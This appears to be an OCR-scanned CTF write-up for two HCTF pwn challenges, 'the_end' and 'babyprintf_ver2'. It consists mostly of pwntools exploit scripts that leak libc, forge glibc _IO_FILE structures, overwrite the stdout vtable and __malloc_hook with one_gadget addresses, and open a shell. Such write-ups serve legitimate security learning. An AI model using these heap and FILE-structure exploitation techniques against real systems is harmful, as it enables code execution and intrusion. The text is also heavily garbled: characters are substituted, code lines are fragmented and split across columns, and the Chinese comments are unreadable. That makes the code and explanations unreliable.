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#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *
from time import sleep

context.log_level = "debug"
context.terminal = ["tmux', 'splitw', '-h"]
# context.terminal = ['tmux', 'splitw', '-v']

path
libc

"/home/hac425/vm_data/pwn/hctf/the_end"
ELF("/1ib/x86_64-1inux-gnu/libc-2.23.s0")

process(path, aslr=1)

©
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remote("127.0.0.1", 10002)

o
1]

# gdb.attach(p)
# pause()

p.recvuntil("here is a gift ")

leak = p.recvuntil(",", drop=True)
libc.address = int(leak, 16) - libc.symbols['sleep']
info("libc.address: " + hex(libc.address))

one_gadget = p64(libc.address + 0xf02a4)
# call QWORD PTR [rip+0x216414] # Ox7fFff7ffdf48 <_rtld_global+3848>
target = libc.address + 0x5f0f48
sleep(0.1)
for i in range(5):
p.send(p64(target + 1))
sleep(0.1)

p.send(one_gadget[i])

p.sendline("exec /bin/sh 1>&0")
p.interactive()

KARKIM T stdout M stderr », M exec /bin/sh 1>80 FEEB/E—NEREERK shell , PSR EE
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from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

def pwn(p):
p.recvuntil('here is a gift ')

libc_base = int(p.recvuntil(',"', drop=True), 16) - 0x0CC230

stdout_vtable = libc_base + 0x3c56f8
fake_io_jump = 0x3c3fb@ + libc_base

remote_addr

one_gadget

= libc_base + 0x3c4008
= libc_base + 0xF02B@

gdb.attach(p, """
break exit

")

pause()

log.success('libc: {}'.format(hex(libc_base)))

log.success('stdout_vtable: {}'.format(hex(stdout_vtable)))

log.success('fake_io_jump: {}'.format(hex(fake_io_jump)))
log.success('remote_addr: {}'.format(hex(remote_addr)))
log.success('one_gadget: {}'.format(hex(one_gadget)))

pause()

#0x3c5c58

payload = p64(stdout_vtable)
payload += p64(fake_io_jump)[0]
payload += p64(stdout_vtable + 1)
payload += p64(fake_io_jump)[1]

payload += p64(remote_addr)
payload += p64(one_gadget)[0]
payload += p64(remote_addr + 1)
payload += p64(one_gadget)[1]
payload += p64(remote_addr + 2)
payload += p64(one_gadget)[2]

p.send(payload)
p.sendline("exec /bin/sh 1>&0")
p.interactive()

if _name__ == '_main__':

path = "/home/hac425/vm_data/pwn/hctf/the_end"
libc = ELF("/1ib/x86_64-1linux-gnu/libc-2.23.s0")

p = process(path, aslr=e)
# p = remote("127.0.0.1", 10002)
pwn(p)

babyprintf_ver2
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0x200 K/MNBW KT, WLMhiE 10 FILE plus &itak, RBEBY stdout WMECAHIEREME, Fidix
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printf HEESEIE R BE RS .
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RIEFIH write ptr Mlwrite end SEIMERMUEE | iR printf BESLH mencpy , FEATLLEHil%
NERFH str Blwrite ptr, KE RN strlen(str) o
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#!/usr/bin/python

# -*- coding: UTF-8 -*-
from pwn import *

from time import sleep
from utils import *

context.log _level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
# context.terminal = ['tmux', 'splitw', '-v']

path = "/home/hac425/vm_data/pwn/hctf/babyprintf_ver2"
libc = ELF("/1ib/x86_64-1inux-gnu/libc-2.23.s0")
bin = ELF(path)

p = process(path, aslr=0)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

ru('So I change the buffer location to ')

buffer = int(ru('\n'), 16)
pbase = buffer - 0x202010
bin.address = pbase

info("pbase: + hex(pbase))



# pause()

ru('Have fun!"')

target = bin.got[ 'setbuf']

file = p64(0xfbad2887) + p64(pbase + Ox201FBO) # flag + read_ptr

file += p64(target) + p64(target) # read_end + read_base, read_end 1 write_base E—
file += p64(target) + p64(target + Ox8) # write_base + write_ptr , FIF write_base M write_ptr , leak
file += p64(target) + p64(target) # write_end + buf_base

file += p64(target) + p64(0) # buf_end + save_base

file += p64(0) + p64(0)

file += p64(0) + p64(0)

file += p64(1) + p64(OxXFfffffffffffffff)

file += p64(0) + p64(buffer + 0x200) # _lock, EJ&H * lock = @

file += p64(Oxffffffffffffffff) + p64(0)

file += p64(buffer + 0x218) + p64(0) # _wide data , —HRFIENIFEHHE

file += p64(0) + p64(0)

file += p64(0x000000RRFFFFFfff) + p64(0)

file += p64(0) + p64(0)

se(p64(@xdeadbeef) * 2 + p64(buffer + 0x18) + file + '\n')

ru(‘permitted!\n")
leak = ub4(ru('\x00\x00"'))

libc.address = leak - libc.symbols['setbuf']

info("leak : " + hex(leak))
info("libc.address : " + hex(libc.address))
# gdb.attach(p)

# pause()

malloc_hook = libc.symbols['_malloc_hook"]
free_hook = libc.symbols['__free_hook']

sleep(0.2)

file = p64(0xfbad2887) + p64(malloc_hook) # flag + read_ptr

file += p64(malloc_hook) + p64(malloc_hook) # read_end + read_base, read_end Hl write base E—%
file += p64(malloc_hook) + p64(free_hook) # write base + write_ptr
file += p64(free_hook + 8) + p64(malloc_hook) # write_end + buf_base
file += p64(malloc_hook) + p64(@) # buf_end + save_base

file += p64(0) + p64(0)

file += p64(0) + p64(0)

file += p64(1l) + pb4(OxFfffffffffffffff)

file += p64(0) + p64(buffer + 0x220)

file += ped(Oxffffffffffffffff) + p64(0)

file += p64(buffer + 0x230) + p64(0)

file += p64(0) + p64(0)

file += p64(0x0000000Offffffff) + p64(0)

file += p64(0) + p64(0)

one_gadget = libc.address + 0x4526a

# BR%E printf B, MIICIFLBLEE S H ML
se(p64(one_gadget) * 2 + p64(buffer + 0x18) + file + '\n')
info("#&& malloc_hook")

pause()

claan/n R\
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se('%n\n")

print(hex(pbase))
print(hex(leak))

p.interactive()

# OXx555555756020  stdout
p *(struct _IO_FILE *)@x@000555555756028
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W) file Z5tfkN,
_I0 write_ptr NE leak HIEMLILMHE

pwndbg> p *(struct

_I0_read_end = _IO write_base AE leak Hij2fhiiht

_IO_FILE *)©x0000555555756030

# EE Kk

$1 = {
_flags = -72537977,
_IO0_read_ptr = 0x0,
_I0 read_end = 0@x555555756108 "\340f\t\253\252*",
_I0_read_base = 0x90,
_I0 write_base = 0x555555756108 "\340f\t\253\252*",
_I0 write_ptr = 0x555555756110 "", # &R, ATitEKE
_I0O write_end = 0x0,
_I0O_buf_base = 0x@,
_I0_buf_end = oxe,
_I0_save_base = 0x90,
_I0_backup_base = ox0,
_I0_save_end = 0x0,
_markers = 0x0,
_chain = oxo,
_fileno = 1,
_flags2 = o,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = @ '\@00',
_shortbuf = "",
_lock = 0x555555756110, # M 0 W
_offset = 0,
_codecvt = 0x0,
_wide_data = oxe,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0O,
_unused2 = '\@0O' <repeats 19 times>

}

PR E T — SR ERFER, Jprintf B, HHEE

RIS KGR E M T T .

leak H 0x555555756108 HIEIE T »

£ 10 _read end BREARIMMABIHEHNAE, R/FHE 10 buf base REATEEHME.

RIEHE - printf &, & BHMKFERIER

https://code.woboq.org/userspace/glibc/libio/fileops.c.html#788
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input[strlen(input) - 1] ---> El&k \x00 #HIRE—AFTH

*H7E 10 _buf base FitE MM mkREE
WRERZE—ANFH KRN FERE, SHRERRNOMESXANFEY, XERELIERMN 1 7W5.

# BRE-AFH
s.sendline(chr(what & @xff))

ZUWRALIERMIES . 2R5S malloc hook A $66000c filtRk malloc KM,

SERE exp

#!/usr/bin/python

# -*- coding: UTF-8 -*-
from pwn import *

from utils import *

context.aslr = False
context.log level = "debug"
context.terminal = ['tmux', 'splitw', '-h']

# context.terminal = ['tmux', 'splitw', '-v']

# Credits: https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/

def pack_file(_flags=0,
_IO _read_ptr=0,
_IO _read_end=0,
_IO _read_base=0,
_I0 write_base=0,
_I0 write_ptr=0,
_I0 write_end=0,
_IO0 _buf_base=0,
_IO0 buf_end=0,
_IO0_save_base=0,
_IO0 _backup_base=0,
_IO0_save_end=0,
_I0 _marker=0,
_I0 _chain=0,
_fileno=0,
_lock=0):

struct = p32(_flags) + \

p32(0) + \
p64(_I0 read_ptr) + \
p64(_I0 read_end) + \
p64(_I0 read_base) + \
p64(_I0 write base) + \
p64(_IO0 write ptr) + \
p64(_I0 write end) + \
p64(_I0 buf base) + \
p64(_I0 buf _end) + \
p64(_I0 save base) + \
p64(_I0 backup_base) + \
p64(_I0 save end) + \
p64(_I0_marker) + \



struct
struct
struct
return

def write(
while

T # # T T ©

s
#
S.
wh
wh

def leak(w
p="A
p+=p
p+=p

BRI

p+=p

s.send
s.recv

return

libc = ELF
ONE_SHOT =
S = proces

s.recvunti
buf = int(

print 'buf
gdb.attach

pause()

s.recvunti

p64(_I0_chain) + \
p32(_fileno)
= struct.ljust(0x88, "\x00")
+= p64(_lock)
= struct.ljust(exd8, "\xe0")
struct

what, where):
what:
= 'A" * 16
+= p64(buf + 32)
p64(0)
https://code.woboq.org/userspace/glibc/libio/fileops.c.html#788
MEXFRSEHSEMABERNRE —NFTW 52 where
+= pack_file(_flags=0xfbad2887,
_IO0_read_end=buf,
_I0_buf_base=where,
_fileno=1,
_lock=buf + 0x100)

+

.sendline(p)

BRE—AFTH
sendline(chr(what & Oxff))
ere += 1

at >>= 8

here):

' ¥ 16
64(buf + 32)
64(0)

file M4k N, _I0 read_end = _IO write_base NE leak Hii2fhihbt,

ack_file(_flags=0xfbad2887,
_IO_read_end=where,
_IO0O write_base=where,
_IO0O write_ptr=where + 8,
_fileno=1,
_lock=buf + ©x100)

line(p)

line()

ub4(s.recv(8))

('/1ib/x86_64-1inux-gnu/libc-2.23.s0")
Ox4526A
s('/home/hac425/vm_data/pwn/hctf/babyprintf_ver2")

1('ex")
s.recv(12), 16)

@ ' + hex(buf)

(s)

1('Have fun!\n')
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_Io_write_ptr RE leak HIEHIL



11pCc_pase = leak(but + YUXTt¥) - L1DC.SympoLlS| _lu_tlle_jumps ]
malloc_hook = libc_base + libc.symbols['_malloc_hook']
one_shot = libc_base + ONE_SHOT

print 'libc @ ' + hex(libc_base)
pause()

write(one_shot, malloc_hook)

s.sendline( '%66000cC")
# s.recvuntil('\x7f")

s.interactive()

p *(struct _IO FILE *)@x@000555555756030
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